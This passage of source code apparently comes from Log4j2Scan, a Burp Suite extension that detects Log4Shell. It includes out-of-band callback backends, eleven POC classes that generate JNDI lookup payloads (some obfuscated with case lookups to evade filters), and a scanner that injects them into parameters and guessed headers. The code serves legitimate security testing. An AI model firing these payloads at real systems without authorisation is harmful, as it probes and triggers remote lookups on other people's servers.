27 | this.rootDomain = Config.get(Config.GODNSLOG_IDENTIFIER);
28 | this.token = Config.get(Config.GODNSLOG_TOKEN);
29 | }
30 |
31 | @Override
32 | public boolean supportBatchCheck() {
33 | return false;
34 | }
35 |
36 | public String getSign(String urlParam) {
37 | StringBuilder hashBuilder = new StringBuilder();
38 | Map paraMap = new TreeMap<>();
39 | String[] params = urlParam.split("&");
40 | for (String s : params) {
41 | int index = s.indexOf("=");
42 | if (index != -1) {
43 | paraMap.put(s.substring(0, index), s.substring(index + 1));
44 | }
45 | }
46 | for (Map.Entry entry : paraMap.entrySet()) {
47 | hashBuilder.append(entry.getValue());
48 | }
49 | String hash = hashBuilder.toString();
50 | hash += token;
51 | return new BigInteger(1, Utils.MD5(hash.getBytes())).toString(16);
52 | }
53 |
54 | @Override
55 | public String getName() {
56 | return "github.com/chennqqi/godnslog";
57 | }
58 |
59 | @Override
60 | public String getNewPayload() {
61 | return Utils.getCurrentTimeMillis() + Utils.GetRandomString(5).toLowerCase() + "." + rootDomain;
62 | }
63 |
64 | @Override
65 | public String[] batchCheck(String[] payloads) {
66 | return new String[0];
67 | }
68 |
69 | public String getAdminUrl() {
70 | String adminUrl = Config.get(Config.GODNSLOG_ADMIN_URL, null);
71 | if (adminUrl == null && Config.get(Config.GODNSLOG_IDENTIFIER, null) != null) {
72 | adminUrl = "http://" + Config.get(Config.GODNSLOG_IDENTIFIER);
73 | }
74 | return adminUrl;
75 | }
76 |
77 | @Override
78 | public boolean CheckResult(String domain) {
79 | String timeStamp = String.valueOf(System.currentTimeMillis() / 1000);
80 | String query = domain.toLowerCase().substring(0, domain.indexOf("."));
81 | String hash = getSign("q=" + query + "&t=" + timeStamp + "&blur=1");
82 | try {
83 | Response resp = client.newCall(HttpUtils.GetDefaultRequest(getAdminUrl() + "/data/dns?q=" + query + "&t=" + timeStamp + "&blur=1" + "&hash=" + hash).build()).execute();
84 | JSONObject jObj = JSONObject.parseObject(resp.body().string().toLowerCase());
85 | if (jObj.containsKey("result")) {
86 | return (((JSONArray) jObj.get("result")).size() > 0);
87 | }
88 | } catch (Exception ex) {
89 | System.out.println(ex);
90 | return false;
91 | }
92 | return false;
93 | }
94 |
95 | @Override
96 | public boolean flushCache(int count) {
97 | return flushCache();
98 | }
99 |
100 | @Override
101 | public boolean flushCache() {
102 | return true;
103 | }
104 |
105 | @Override
106 | public boolean getState() {
107 | return true;
108 | }
109 |
110 | @Override
111 | public void close() {
112 | }
113 |
114 | @Override
115 | public int[] getSupportedPOCTypes() {
116 | return new int[]{IPOC.POC_TYPE_LDAP, IPOC.POC_TYPE_RMI};
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/src/main/java/burp/backend/platform/RevSuitDNS.java:
--------------------------------------------------------------------------------
1 | package burp.backend.platform;
2 |
3 | import burp.backend.IBackend;
4 | import burp.poc.IPOC;
5 | import burp.utils.Config;
6 | import burp.utils.HttpUtils;
7 | import burp.utils.Utils;
8 | import com.alibaba.fastjson.JSONObject;
9 | import okhttp3.*;
10 | import org.jetbrains.annotations.Nullable;
11 |
12 | import java.net.URLEncoder;
13 | import java.nio.charset.StandardCharsets;
14 | import java.util.ArrayList;
15 | import java.util.List;
16 | import java.util.concurrent.TimeUnit;
17 |
18 | public class RevSuitDNS implements IBackend {
19 | OkHttpClient client = new OkHttpClient().newBuilder().cookieJar(new CookieJar() {
20 | @Override
21 | public void saveFromResponse(HttpUrl url, List cookies) {
22 | return;
23 | }
24 |
25 | @Override
26 | public List loadForRequest(HttpUrl url) {
27 | List cookies = new ArrayList<>();
28 | cookies.add(new Cookie.Builder().domain(url.host()).name("token").value(token).build());
29 | return cookies;
30 | }
31 | }).connectTimeout(50, TimeUnit.SECONDS).
32 | callTimeout(50, TimeUnit.SECONDS).
33 | readTimeout(3, TimeUnit.MINUTES).build();
34 | String serverAddr;
35 | String rootDomain;
36 | String token;
37 | String dnsFlag = "";
38 | boolean serverSideSupportBatchCheck = false;
39 |
40 | @Override
41 | public boolean supportBatchCheck() {
42 | return serverSideSupportBatchCheck;
43 | }
44 |
45 | public RevSuitDNS() {
46 | this.token = Config.get(Config.REVSUIT_DNS_TOKEN);
47 | String serverAddr = Config.get(Config.REVSUIT_DNS_ADMIN_URL);
48 | this.serverAddr = serverAddr.endsWith("/") ? serverAddr : serverAddr + "/";
49 | this.rootDomain = Config.get(Config.REVSUIT_DNS_DOMAIN);
50 | initDNSEnv();
51 | checkServiceSideBatchCheckSupport();
52 | }
53 |
54 | private void initDNSEnv() {
55 | try {
56 | JSONObject createDNSRuleReq = new JSONObject();
57 | String flag = Utils.GetRandomString(Utils.GetRandomNumber(5, 10)).toLowerCase();
58 | createDNSRuleReq.put("flag_format", flag);
59 | createDNSRuleReq.put("name", String.format("%s Create by Log4j2Scan", flag));
60 | createDNSRuleReq.put("value", "127.0.0.1");
61 | JSONObject rmiConfig = JSONObject.parseObject(request("revsuit/api/rule/dns", "POST", createDNSRuleReq.toString()));
62 | if (rmiConfig.get("status").equals("succeed")) {
63 | Utils.Callback.printOutput(String.format("Create RevSuit dns rule '%s' succeed!\r\n", flag));
64 | dnsFlag = flag;
65 | } else {
66 | Utils.Callback.printOutput(String.format("Create RevSuit dns rule '%s' failed! msg: %s\r\n", flag, rmiConfig.get("status")));
67 | }
68 | } catch (Exception ex) {
69 | Utils.Callback.printOutput(ex.toString());
70 | }
71 | }
72 |
73 |
74 | private void checkServiceSideBatchCheckSupport() {
75 | String[] testResult = batchCheck(new String[0]);
76 | serverSideSupportBatchCheck = testResult != null;
77 | Utils.Callback.printOutput(String.format("Service-side RevSuit %s batch check!\r\n", serverSideSupportBatchCheck ? "support" : "unsupported"));
78 | }
79 |
80 | public String[] batchCheck(String[] payloads) {
81 | List found = new ArrayList<>();
82 | try {
83 | JSONObject findDomainReq = new JSONObject();
84 | findDomainReq.put("domains", payloads);
85 | JSONObject foundRecords = JSONObject.parseObject(request("revsuit/api/record/dns/batchFind", "POST", findDomainReq.toString()));
86 | return foundRecords.getJSONArray("found").toArray(new String[0]);
87 | } catch (Exception ex) {
88 | return null;
89 | }
90 | }
91 |
92 | private String request(String url) throws Exception {
93 | return request(url, "GET", null);
94 | }
95 |
96 | private String request(String url, String method, @Nullable String postBody) throws Exception {
97 | Request.Builder reqBuilder = HttpUtils.GetDefaultRequest(serverAddr + url);
98 | if (postBody != null) {
99 | reqBuilder.header("Content-Type", "application/json;charset=utf-8");
100 | reqBuilder.method(method, RequestBody.create(postBody.getBytes(StandardCharsets.UTF_8)));
101 | }
102 | return client.newCall(reqBuilder.build()).execute().body().string();
103 | }
104 |
105 | @Override
106 | public String getName() {
107 | return "RevSuit-DNS";
108 | }
109 |
110 | @Override
111 | public String getNewPayload() {
112 | return (Utils.getCurrentTimeMillis() + Utils.GetRandomString(5) + "." + dnsFlag + "." + rootDomain).toLowerCase();
113 | }
114 |
115 | @Override
116 | public boolean CheckResult(String payload) {
117 | try {
118 | String resp = request(String.format("revsuit/api/record/dns?page=1&pageSize=5&order=desc&domain=%s", URLEncoder.encode(payload, "utf-8")));
119 | return resp.toLowerCase().contains(payload);
120 | } catch (Exception ex) {
121 | Utils.Callback.printOutput(ex.toString());
122 | return false;
123 | }
124 | }
125 |
126 | @Override
127 | public boolean flushCache() {
128 | return flushCache(10);
129 | }
130 |
131 | @Override
132 | public boolean flushCache(int count) {
133 | return true;
134 | }
135 |
136 | @Override
137 | public boolean getState() {
138 | return !dnsFlag.equals("");
139 | }
140 |
141 | @Override
142 | public void close() {
143 | }
144 |
145 | @Override
146 | public int[] getSupportedPOCTypes() {
147 | return new int[]{IPOC.POC_TYPE_RMI, IPOC.POC_TYPE_LDAP};
148 | }
149 | }
150 |
--------------------------------------------------------------------------------
/src/main/java/burp/backend/platform/RevSuitRMI.java:
--------------------------------------------------------------------------------
1 | package burp.backend.platform;
2 |
3 | import burp.backend.IBackend;
4 | import burp.poc.IPOC;
5 | import burp.utils.Config;
6 | import burp.utils.HttpUtils;
7 | import burp.utils.Utils;
8 | import com.alibaba.fastjson.JSONArray;
9 | import com.alibaba.fastjson.JSONObject;
10 | import okhttp3.*;
11 | import org.jetbrains.annotations.Nullable;
12 |
13 | import java.io.IOException;
14 | import java.net.URLEncoder;
15 | import java.nio.charset.StandardCharsets;
16 | import java.util.ArrayList;
17 | import java.util.HashMap;
18 | import java.util.List;
19 | import java.util.Objects;
20 | import java.util.concurrent.TimeUnit;
21 |
22 | public class RevSuitRMI implements IBackend {
23 | OkHttpClient client = new OkHttpClient().newBuilder().cookieJar(new CookieJar() {
24 | @Override
25 | public void saveFromResponse(HttpUrl url, List cookies) {
26 | return;
27 | }
28 |
29 | @Override
30 | public List loadForRequest(HttpUrl url) {
31 | List cookies = new ArrayList<>();
32 | cookies.add(new Cookie.Builder().domain(url.host()).name("token").value(token).build());
33 | return cookies;
34 | }
35 | }).connectTimeout(50, TimeUnit.SECONDS).
36 | callTimeout(50, TimeUnit.SECONDS).
37 | readTimeout(3, TimeUnit.MINUTES).build();
38 | String serverAddr;
39 | String rootRMIUrl;
40 | String token;
41 | String rmiFlag = "";
42 | boolean serverSideSupportBatchCheck = false;
43 |
44 | @Override
45 | public boolean supportBatchCheck() {
46 | return serverSideSupportBatchCheck;
47 | }
48 |
49 | public RevSuitRMI() {
50 | this.token = Config.get(Config.REVSUIT_RMI_TOKEN);
51 | String serverAddr = Config.get(Config.REVSUIT_RMI_ADMIN_URL);
52 | this.serverAddr = serverAddr.endsWith("/") ? serverAddr : serverAddr + "/";
53 | String rootRMIUrl = Config.get(Config.REVSUIT_RMI_ADDR);
54 | this.rootRMIUrl = rootRMIUrl.endsWith("/") ? rootRMIUrl : rootRMIUrl + "/";
55 | initRMIEnv();
56 | checkServiceSideBatchCheckSupport();
57 | }
58 |
59 | private void initRMIEnv() {
60 | try {
61 | JSONObject createRMIRuleReq = new JSONObject();
62 | String flag = Utils.GetRandomString(Utils.GetRandomNumber(5, 10)).toLowerCase();
63 | createRMIRuleReq.put("flag_format", flag);
64 | createRMIRuleReq.put("name", String.format("%s Create by Log4j2Scan", flag));
65 | JSONObject rmiConfig = JSONObject.parseObject(request("revsuit/api/rule/rmi", "POST", createRMIRuleReq.toString()));
66 | if (rmiConfig.get("status").equals("succeed")) {
67 | Utils.Callback.printOutput(String.format("Create RevSuit rmi rule '%s' succeed!\r\n", flag));
68 | rmiFlag = flag;
69 | } else {
70 | Utils.Callback.printOutput(String.format("Create RevSuit rmi rule '%s' failed! msg: %s\r\n", flag, rmiConfig.get("status")));
71 | }
72 | } catch (Exception ex) {
73 | Utils.Callback.printOutput(ex.toString());
74 | }
75 | }
76 |
77 | private void checkServiceSideBatchCheckSupport() {
78 | String[] testResult = batchCheck(new String[0]);
79 | serverSideSupportBatchCheck = testResult != null;
80 | Utils.Callback.printOutput(String.format("Service-side RevSuit %s batch check!\r\n", serverSideSupportBatchCheck ? "support" : "unsupported"));
81 | }
82 |
83 | public String[] batchCheck(String[] payloads) {
84 | List found = new ArrayList<>();
85 | try {
86 | JSONObject findDomainReq = new JSONObject();
87 | findDomainReq.put("rmis", cleanPayload(payloads));
88 | JSONObject foundRecords = JSONObject.parseObject(request("revsuit/api/record/rmi/batchFind", "POST", findDomainReq.toString()));
89 | foundRecords.getJSONArray("found").forEach(f -> found.add(appendBefore((String) f)));
90 | return found.toArray(new String[0]);
91 | } catch (Exception ex) {
92 | return null;
93 | }
94 | }
95 |
96 | private String[] cleanPayload(String[] payloads) {
97 | List result = new ArrayList<>();
98 | for (int i = 0; i < payloads.length; i++) {
99 | String payload = payloads[i];
100 | result.add(payload.substring(payload.indexOf(rmiFlag)));
101 | }
102 | return result.toArray(new String[0]);
103 | }
104 |
105 | private String request(String url) throws Exception {
106 | return request(url, "GET", null);
107 | }
108 |
109 | private String request(String url, String method, @Nullable String postBody) throws Exception {
110 | Request.Builder reqBuilder = HttpUtils.GetDefaultRequest(serverAddr + url);
111 | if (postBody != null) {
112 | reqBuilder.header("Content-Type", "application/json;charset=utf-8");
113 | reqBuilder.method(method, RequestBody.create(postBody.getBytes(StandardCharsets.UTF_8)));
114 | }
115 | return client.newCall(reqBuilder.build()).execute().body().string();
116 | }
117 |
118 | @Override
119 | public String getName() {
120 | return "RevSuit-RMI";
121 | }
122 |
123 | @Override
124 | public String getNewPayload() {
125 | return appendBefore(rmiFlag + "/" + Utils.GetRandomString(10));
126 | }
127 |
128 | public String appendBefore(String randomStr) {
129 | return rootRMIUrl + randomStr;
130 | }
131 |
132 | @Override
133 | public boolean CheckResult(String payload) {
134 | try {
135 | String purePayload = payload.substring(payload.indexOf(rmiFlag));
136 | String resp = request(String.format("revsuit/api/record/rmi?page=1&pageSize=5&order=desc&path=%s", URLEncoder.encode(purePayload, "utf-8")));
137 | return resp.contains(purePayload);
138 | } catch (Exception ex) {
139 | Utils.Callback.printOutput(ex.toString());
140 | return false;
141 | }
142 | }
143 |
144 | @Override
145 | public boolean flushCache() {
146 | return flushCache(10);
147 | }
148 |
149 | @Override
150 | public boolean flushCache(int count) {
151 | return true;
152 | }
153 |
154 | @Override
155 | public boolean getState() {
156 | return !rmiFlag.equals("");
157 | }
158 |
159 | @Override
160 | public void close() {
161 | }
162 |
163 | @Override
164 | public int[] getSupportedPOCTypes() {
165 | return new int[]{IPOC.POC_TYPE_RMI};
166 | }
167 | }
168 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/IPOC.java:
--------------------------------------------------------------------------------
1 | package burp.poc;
2 |
3 | public interface IPOC {
4 | int POC_TYPE_LDAP = 1;
5 | int POC_TYPE_RMI = 2;
6 | int POC_TYPE_DNS = 3;
7 |
8 | String generate(String domain);
9 | int getType();
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC1.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC1 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${jndi:ldap://" + domain + "/" + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_LDAP;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC10.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC10 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${jndi:${lower:l}${lower:d}a${lower:p}://" + domain + "/" + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_LDAP;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC11.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | import static burp.utils.Utils.confusionChars;
7 |
8 | public class POC11 implements IPOC {
9 |
10 | @Override
11 | public String generate(String domain) {
12 | String payloadContent = String.format("://%s/%s", domain, Utils.GetRandomString(Utils.GetRandomNumber(2, 5)));
13 | String confusionPayload = Utils.confusionChars(Utils.splitString(payloadContent), (int) Math.ceil(payloadContent.length() * (Utils.GetRandomNumber(30, 70) / 100.0)));
14 | return "${" + Utils.confusionChars(Utils.splitString("jndi"), 4) + ":" + Utils.confusionChars(Utils.splitString("rmi"), 3) + confusionPayload + "}";
15 | }
16 |
17 | @Override
18 | public int getType() {
19 | return POC_TYPE_RMI;
20 | }
21 | }
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC2.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | import static burp.utils.Utils.confusionChars;
7 |
8 | public class POC2 implements IPOC {
9 |
10 | @Override
11 | public String generate(String domain) {
12 | String payloadContent = String.format("://%s/%s", domain, Utils.GetRandomString(Utils.GetRandomNumber(2, 5)));
13 | String confusionPayload = Utils.confusionChars(Utils.splitString(payloadContent), (int) Math.ceil(payloadContent.length() * (Utils.GetRandomNumber(30, 70) / 100.0)));
14 | return "${" + Utils.confusionChars(Utils.splitString("jndi"), 4) + ":" + Utils.confusionChars(Utils.splitString("ldap"), 4) + confusionPayload + "}";
15 | }
16 |
17 |
18 | @Override
19 | public int getType() {
20 | return POC_TYPE_LDAP;
21 | }
22 | }
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC3.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC3 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${jndi:ldap://" + domain + "/ " + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}"; //add a space
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_LDAP;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC4.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 |
5 | public class POC4 implements IPOC {
6 | @Override
7 | public String generate(String domain) {
8 | return "${jndi:rmi://" + domain + "}";
9 | }
10 |
11 | @Override
12 | public int getType() {
13 | return POC_TYPE_RMI;
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC5.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC5 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${${lower:${lower:jndi}}:${lower:rmi}://" + domain + "/}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_RMI;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC6.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC6 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${${lower:jndi}:${lower:rmi}://" + domain + "/" + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_RMI;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC7.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC7 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://" + domain + "/" + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_RMI;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC8.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC8 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://" + domain + "/" + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_RMI;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/poc/impl/POC9.java:
--------------------------------------------------------------------------------
1 | package burp.poc.impl;
2 |
3 | import burp.poc.IPOC;
4 | import burp.utils.Utils;
5 |
6 | public class POC9 implements IPOC {
7 | @Override
8 | public String generate(String domain) {
9 | return "${jndi:dns://" + domain + "/" + Utils.GetRandomString(Utils.GetRandomNumber(2, 5)) + "}";
10 | }
11 |
12 | @Override
13 | public int getType() {
14 | return POC_TYPE_DNS;
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/burp/scanner/Log4j2Scanner.java:
--------------------------------------------------------------------------------
1 | package burp.scanner;
2 |
3 | import burp.*;
4 | import burp.backend.IBackend;
5 | import burp.backend.platform.*;
6 | import burp.poc.IPOC;
7 | import burp.poc.impl.*;
8 | import burp.ui.tabs.BackendUIHandler;
9 | import burp.utils.*;
10 | import com.alibaba.fastjson.JSONArray;
11 | import com.alibaba.fastjson.JSONObject;
12 |
13 | import java.nio.charset.StandardCharsets;
14 | import java.util.*;
15 | import java.util.stream.Collectors;
16 | import java.util.stream.Stream;
17 |
18 | import static burp.ui.tabs.POCUIHandler.defaultEnabledPocIds;
19 |
20 | public class Log4j2Scanner implements IScannerCheck {
21 | private BurpExtender parent;
22 | private IExtensionHelpers helper;
23 | public IBackend backend;
24 |
25 | private final String[] HEADER_BLACKLIST = new String[]{
26 | "content-length",
27 | "cookie",
28 | "host",
29 | "content-type"
30 | };
31 | private final String[] HEADER_GUESS = new String[]{
32 | "User-Agent",
33 | "X-Client-IP",
34 | "X-Remote-IP",
35 | "X-Remote-Addr",
36 | "X-Forwarded-For",
37 | "X-Originating-IP",
38 | "CF-Connecting_IP",
39 | "True-Client-IP",
40 | "Originating-IP",
41 | "X-Real-IP",
42 | "Client-IP",
43 | "X-Wap-Profile",
44 | "X-Api-Version",
45 | "Sec-Ch-Ua",
46 | "Sec-Ch-Ua-Platform",
47 | "Upgrade-Insecure-Requests",
48 | "Accept",
49 | "Sec-Fetch-Site",
50 | "Sec-Fetch-Mode",
51 | "Sec-Fetch-User",
52 | "Sec-Fetch-Dest",
53 | "Accept-Encoding",
54 | "Accept-Language",
55 | "Referer",
56 | "Forwarded",
57 | "Contact",
58 | "If-Mondified-Since",
59 | "X-Custom-IP-Authorization",
60 | "X-Forwarded-Host",
61 | "X-Forwarded-Server",
62 | "X-Host",
63 | "X-Original-URL",
64 | "X-Rewrite-URL",
65 | "Connection"
66 | };
67 |
68 | private final String[] STATIC_FILE_EXT = new String[]{
69 | "png",
70 | "jpg",
71 | "jpeg",
72 | "gif",
73 | "pdf",
74 | "bmp",
75 | "js",
76 | "css",
77 | "ico",
78 | "woff",
79 | "woff2",
80 | "ttf",
81 | "otf",
82 | "ttc",
83 | "svg",
84 | "psd",
85 | "exe",
86 | "zip",
87 | "rar",
88 | "7z",
89 | "msi",
90 | "tar",
91 | "gz",
92 | "mp3",
93 | "mp4",
94 | "mkv",
95 | "swf",
96 | "xls",
97 | "xlsx",
98 | "doc",
99 | "docx",
100 | "ppt",
101 | "pptx",
102 | "iso"
103 | };
104 |
105 | private IPOC[] pocs;
106 |
107 | private Config.FuzzMode fuzzMode;
108 |
109 | public Log4j2Scanner(final BurpExtender newParent) {
110 | this.parent = newParent;
111 | this.helper = newParent.helpers;
112 | this.loadConfig();
113 | if (this.backend.getState()) {
114 | parent.stdout.println("Log4j2Scan loaded successfully!\r\n");
115 | } else {
116 | parent.stdout.println("Backend init failed!\r\n");
117 | }
118 | }
119 |
120 | public void close() {
121 | if (this.backend != null) {
122 | this.backend.close();
123 | }
124 | }
125 |
126 | public boolean getState() {
127 | try {
128 | return this.backend.getState() && getSupportedPOCs().size() > 0;
129 | } catch (Exception ex) {
130 | return false;
131 | }
132 | }
133 |
134 | private void loadConfig() {
135 | BackendUIHandler.Backends currentBackend = BackendUIHandler.Backends.valueOf(Config.get(Config.CURRENT_BACKEND, BackendUIHandler.Backends.BurpCollaborator.name()));
136 | JSONArray enabled_poc_ids = JSONArray.parseArray(Config.get(Config.ENABLED_POC_IDS, JSONObject.toJSONString(defaultEnabledPocIds)));
137 | try {
138 | switch (currentBackend) {
139 | case Ceye:
140 | this.backend = new Ceye();
141 | break;
142 | case DnslogCN:
143 | this.backend = new DnslogCN();
144 | break;
145 | case RevSuitDNS:
146 | this.backend = new RevSuitDNS();
147 | break;
148 | case RevSuitRMI:
149 | this.backend = new RevSuitRMI();
150 | break;
151 | case GoDnslog:
152 | this.backend = new GoDnslog();
153 | break;
154 | case BurpCollaborator:
155 | this.backend = new BurpCollaborator();
156 | break;
157 | }
158 | List enabled_poc_ids_list = new ArrayList<>();
159 | enabled_poc_ids.forEach(e -> enabled_poc_ids_list.add((int) e));
160 | this.pocs = Utils.getPOCs(Arrays.asList(enabled_poc_ids.toArray()).toArray(new Integer[0])).values().toArray(new IPOC[0]);
161 | } catch (Exception ex) {
162 | parent.stdout.println(ex);
163 | } finally {
164 | if (this.backend == null || !this.backend.getState()) {
165 | parent.stdout.println("Load backend from config failed! fallback to dnslog.cn....");
166 | this.backend = new DnslogCN();
167 | this.pocs = Utils.getPOCs(new Integer[]{1, 2, 3, 4, 11}).values().toArray(new IPOC[0]);
168 | }
169 | }
170 | }
171 |
172 | public String urlencodeForTomcat(String exp) {
173 | exp = exp.replace("{", "%7b");
174 | exp = exp.replace("}", "%7d");
175 | return exp;
176 | }
177 |
178 | @Override
179 | public List doPassiveScan(IHttpRequestResponse baseRequestResponse) {
180 | Config.ScanMode scanMode = Config.ScanMode.valueOf(Config.get(Config.SCAN_MODE, Config.ScanMode.Passive.name()));
181 | if (scanMode == Config.ScanMode.Passive)
182 | return doScan(baseRequestResponse);
183 | else return null;
184 | }
185 |
186 | @Override
187 | public List doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
188 | return doScan(baseRequestResponse);
189 | }
190 |
191 | private List doScan(IHttpRequestResponse baseRequestResponse) {
192 | this.fuzzMode = Config.FuzzMode.valueOf(Config.get(Config.FUZZ_MODE, Config.FuzzMode.EachFuzz.name()));
193 | IRequestInfo req = this.parent.helpers.analyzeRequest(baseRequestResponse);
194 | List issues = new ArrayList<>();
195 | if (!isStaticFile(req.getUrl().toString())) {
196 | parent.stdout.println(String.format("Scanning: %s", req.getUrl()));
197 | Map domainMap = new HashMap<>();
198 | if (this.fuzzMode == Config.FuzzMode.EachFuzz) {
199 | domainMap.putAll(paramsFuzz(baseRequestResponse, req));
200 | if (Config.getBoolean(Config.ENABLED_FUZZ_HEADER, true)) {
201 | domainMap.putAll(headerFuzz(baseRequestResponse, req));
202 | }
203 | } else {
204 | domainMap.putAll(crazyFuzz(baseRequestResponse, req));
205 | }
206 | if (Config.getBoolean(Config.ENABLED_FUZZ_BAD_JSON, false)) {
207 | domainMap.putAll(badJsonFuzz(baseRequestResponse, req));
208 | }
209 | try {
210 | Thread.sleep(2000); //sleep 2s, wait for network delay.
211 | } catch (InterruptedException e) {
212 | parent.stdout.println(e);
213 | }
214 | issues.addAll(finalCheck(baseRequestResponse, req, domainMap));
215 | parent.stdout.println("Scan complete: " + req.getUrl() + " - " + (issues.size() > 0 ? String.format("found %d issue.", issues.size()) : "No issue found."));
216 | }
217 | return issues;
218 | }
219 |
220 | private boolean isStaticFile(String url) {
221 | return Arrays.stream(STATIC_FILE_EXT).anyMatch(s -> s.equalsIgnoreCase(HttpUtils.getUrlFileExt(url)));
222 | }
223 |
224 | private Collection getSupportedPOCs() {
225 | return Arrays.stream(pocs).filter(p -> Arrays.stream(backend.getSupportedPOCTypes()).anyMatch(c -> c == p.getType())).collect(Collectors.toList());
226 | }
227 |
228 | private Map crazyFuzz(IHttpRequestResponse baseRequestResponse, IRequestInfo req) {
229 | List headers = req.getHeaders();
230 | Map domainMap = new HashMap<>();
231 | for (IPOC poc : getSupportedPOCs()) {
232 | try {
233 | byte[] rawRequest = baseRequestResponse.getRequest();
234 | byte[] tmpRawRequest = rawRequest;
235 | byte[] rawBody = Arrays.copyOfRange(rawRequest, req.getBodyOffset(), rawRequest.length);
236 | List tmpHeaders = new ArrayList<>(headers);
237 | Map domainHeaderMap = new HashMap<>();
238 | if (Config.getBoolean(Config.ENABLED_FUZZ_HEADER, true)) {
239 | List guessHeaders = new ArrayList(Arrays.asList(HEADER_GUESS));
240 | for (int i = 1; i < headers.size(); i++) {
241 | HttpHeader header = new HttpHeader(headers.get(i));
242 | if (Arrays.stream(HEADER_BLACKLIST).noneMatch(h -> h.equalsIgnoreCase(header.Name))) {
243 | List needSkipheader = guessHeaders.stream().filter(h -> h.equalsIgnoreCase(header.Name)).collect(Collectors.toList());
244 | needSkipheader.forEach(guessHeaders::remove);
245 | String tmpDomain = backend.getNewPayload();
246 | header.Value = poc.generate(tmpDomain);
247 | if (header.Name.equalsIgnoreCase("accept")) {
248 | header.Value = "*/*;" + header.Value;
249 | }
250 | tmpHeaders.set(i, header.toString());
251 | domainHeaderMap.put(header.Name, tmpDomain);
252 | }
253 | }
254 | for (String headerName : guessHeaders) {
255 | String tmpDomain = backend.getNewPayload();
256 | tmpHeaders.add(String.format("%s: %s", headerName, poc.generate(tmpDomain)));
257 | domainHeaderMap.put(headerName, tmpDomain);
258 | }
259 | }
260 | int skipLength = 0;
261 | int paramsIndex = 0;
262 | Map paramMap = new HashMap<>();
263 | Map domainParamMap = new HashMap<>();
264 | tmpRawRequest = parent.helpers.buildHttpMessage(tmpHeaders, rawBody);
265 | IRequestInfo tmpReqInfo = parent.helpers.analyzeRequest(tmpRawRequest);
266 | for (IParameter param : tmpReqInfo.getParameters()) {
267 | String tmpDomain = backend.getNewPayload();
268 | String exp = poc.generate(tmpDomain);
269 | boolean inHeader = false;
270 | switch (param.getType()) {
271 | case IParameter.PARAM_URL:
272 | if (!Config.getBoolean(Config.ENABLED_FUZZ_URL, true))
273 | continue;
274 | exp = helper.urlEncode(exp);
275 | exp = urlencodeForTomcat(exp);
276 | inHeader = true;
277 | break;
278 | case IParameter.PARAM_COOKIE:
279 | if (!Config.getBoolean(Config.ENABLED_FUZZ_COOKIE, true))
280 | continue;
